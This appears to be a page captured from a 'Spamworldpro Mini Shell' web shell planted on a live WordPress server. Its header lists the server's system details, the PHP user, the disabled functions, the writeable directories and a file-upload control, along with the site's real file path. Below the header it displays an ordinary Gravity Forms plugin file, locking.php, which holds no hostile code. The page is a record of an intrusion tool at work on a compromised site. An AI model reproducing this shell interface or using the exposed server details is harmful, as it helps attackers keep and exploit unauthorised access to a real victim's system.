Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux pod-100823:apache2_74:v0.5.7 5.4.0-1138-gcp #147~18.04.1-Ubuntu SMP Mon Oct 7 21:46:26 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33.7
Disable Function : apache_child_terminate,apache_get_modules,apache_get_version,apache_getenv,apache_note,apache_setenv,disk_free_space,disk_total_space,diskfreespace,dl,exec,fastcgi_finish_request,link,opcache_compile_file,opcache_get_configuration,opcache_invalidate,opcache_is_script_cached,opcache_reset,passthru,pclose,pcntl_exec,popen,posix_getpid,posix_getppid,posix_getpwuid,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_uname,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,realpath_cache_get,shell_exec,show_source,symlink,system
Directory :  /nas/content/live/attorneyexperi/wp-content/plugins/gravityforms/includes/locking/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /nas/content/live/attorneyexperi/wp-content/plugins/gravityforms/includes/locking/locking.php
<?php

if ( ! class_exists( 'GFForms' ) ) {
	die();
}

require_once( 'class-gf-locking.php' );

class GFFormLocking extends GFLocking {
	public function __construct() {
		$capabilities = array( 'gravityforms_edit_forms' );
		$redirect_url = admin_url( 'admin.php?page=gf_edit_forms' );
		$form_id      = $this->get_object_id();
		$edit_url     = admin_url( sprintf( 'admin.php?page=gf_edit_forms&id=%d', $form_id ) );
		parent::__construct( 'form', $redirect_url, $edit_url, $capabilities );
	}

	public function get_strings() {
		$strings = array(
			'currently_locked'  => __( 'This form is currently locked. Click on the "Request Control" button to let %s know you\'d like to take over.', 'gravityforms' ),
			'accept'            => __( 'Accept', 'gravityforms' ),
			'currently_editing' => __( '%s is currently editing this form', 'gravityforms' ),
			'taken_over'        => __( '%s has taken over and is currently editing this form.', 'gravityforms' ),
			'lock_requested'    => __( '%s has requested permission to take over control of this form.', 'gravityforms' )
		);

		return array_merge( parent::get_strings(), $strings );
	}

	protected function is_edit_page() {
		return $this->is_page( 'form_editor' );
	}

	protected function is_list_page() {
		return $this->is_page( 'form_list' );
	}

	protected function get_object_id() {
		$id = rgget( 'id' );
		$id = absint( $id );
		return $id;
	}

}

new GFFormLocking();


class GFEntryLocking extends GFLocking {
	public function __construct() {
		$capabilities = array( 'gravityforms_edit_entries' );
		$redirect_url = admin_url( 'admin.php?page=gf_entries' );
		$entry_id     = $this->get_object_id();
		$form_id      = rgget( 'id' );
		$edit_url     = admin_url( sprintf( 'admin.php?page=gf_entries&view=entry&id=%d&lid=%d', $form_id, $entry_id ) );
		parent::__construct( 'entry', $redirect_url, $edit_url, $capabilities );
	}

	public function get_strings() {
		$strings = array(
			'currently_locked'  => __( 'This entry is currently locked. Click on the "Request Control" button to let %s know you\'d like to take over.', 'gravityforms' ),
			'currently_editing' => __( '%s is currently editing this entry', 'gravityforms' ),
			'taken_over'        => __( '%s has taken over and is currently editing this entry.', 'gravityforms' ),
			'lock_requested'    => __( '%s has requested permission to take over control of this entry.', 'gravityforms' )
		);

		return array_merge( parent::get_strings(), $strings );
	}

	protected function is_edit_page() {
		return $this->is_page( 'entry_detail_edit' );
	}

	protected function is_list_page() {
		return $this->is_page( 'entry_list' );
	}

	protected function is_view_page() {
		return $this->is_page( 'entry_detail' );
	}

	protected function get_object_id() {
		$id = rgget( 'lid' );
		$id = absint( $id );
		return $id;
	}

}

new GFEntryLocking();

class GFFormSettingsLocking extends GFLocking {
	public function __construct() {
		$capabilities = array( 'gravityforms_edit_forms' );
		$redirect_url = admin_url( 'admin.php?page=gf_edit_forms' );
		$form_id      = rgget( 'id' );
		$subview      = rgget( 'subview' );
		if ( empty( $subview ) ) {
			$subview = 'settings';
		}
		$edit_url = admin_url( sprintf( 'admin.php?page=gf_edit_forms&view=settings&subview=%s&id=%d', esc_attr( $subview ), $form_id ) );
		parent::__construct( 'form_settings', $redirect_url, $edit_url, $capabilities );
	}

	public function get_strings() {
		$strings = array(
			'currently_locked'  => __( 'These form settings are currently locked. Click on the "Request Control" button to let %s know you\'d like to take over.', 'gravityforms' ),
			'currently_editing' => '%s is currently editing these settings',
			'taken_over'        => '%s has taken over and is currently editing these settings.',
			'lock_requested'    => __( '%s has requested permission to take over control of these settings.', 'gravityforms' )
		);

		return array_merge( parent::get_strings(), $strings );
	}

	protected function is_edit_page() {
		$is_edit_page = rgget( 'page' ) == 'gf_edit_forms' && rgget( 'view' ) == 'settings';

		return $is_edit_page;
	}

	protected function get_object_id() {
		$subview = rgget( 'subview' );
		if ( empty( $subview ) || ! ctype_alnum( $subview ) ) {
			$subview = 'settings';
		}

		$form_id = rgget( 'id' );

		$form_id = absint( $form_id );

		return $subview . '-' . $form_id;
	}

}

new GFFormSettingsLocking();

class GFPluginSettingsLocking extends GFLocking {
	public function __construct() {
		$capabilities = array( 'gravityforms_edit_settings' );
		$redirect_url = admin_url( 'admin.php?page=gf_edit_forms' );
		$edit_url     = admin_url( 'admin.php?page=gf_settings' );
		parent::__construct( 'plugin_settings', $redirect_url, $edit_url, $capabilities );
	}

	public function get_strings() {
		$strings = array(
			'currently_locked'  => __( 'These settings are currently locked. Click on the "Request Control" button to let %s know you\'d like to take over.', 'gravityforms' ),
			'currently_editing' => '%s is currently editing these settings',
			'taken_over'        => '%s has taken over and is currently editing these settings.',
			'lock_requested'    => __( '%s has requested permission to take over control of these settings.', 'gravityforms' )
		);

		return array_merge( parent::get_strings(), $strings );
	}

	protected function is_edit_page() {
		return $this->is_page( 'settings' );
	}

	protected function get_object_id() {
		$view = rgget( 'subview' );
		if ( empty( $view ) || ! ctype_alnum( $view ) ) {
			$view = 'settings';
		}

		return $view;
	}

}

new GFPluginSettingsLocking();

Spamworldpro Mini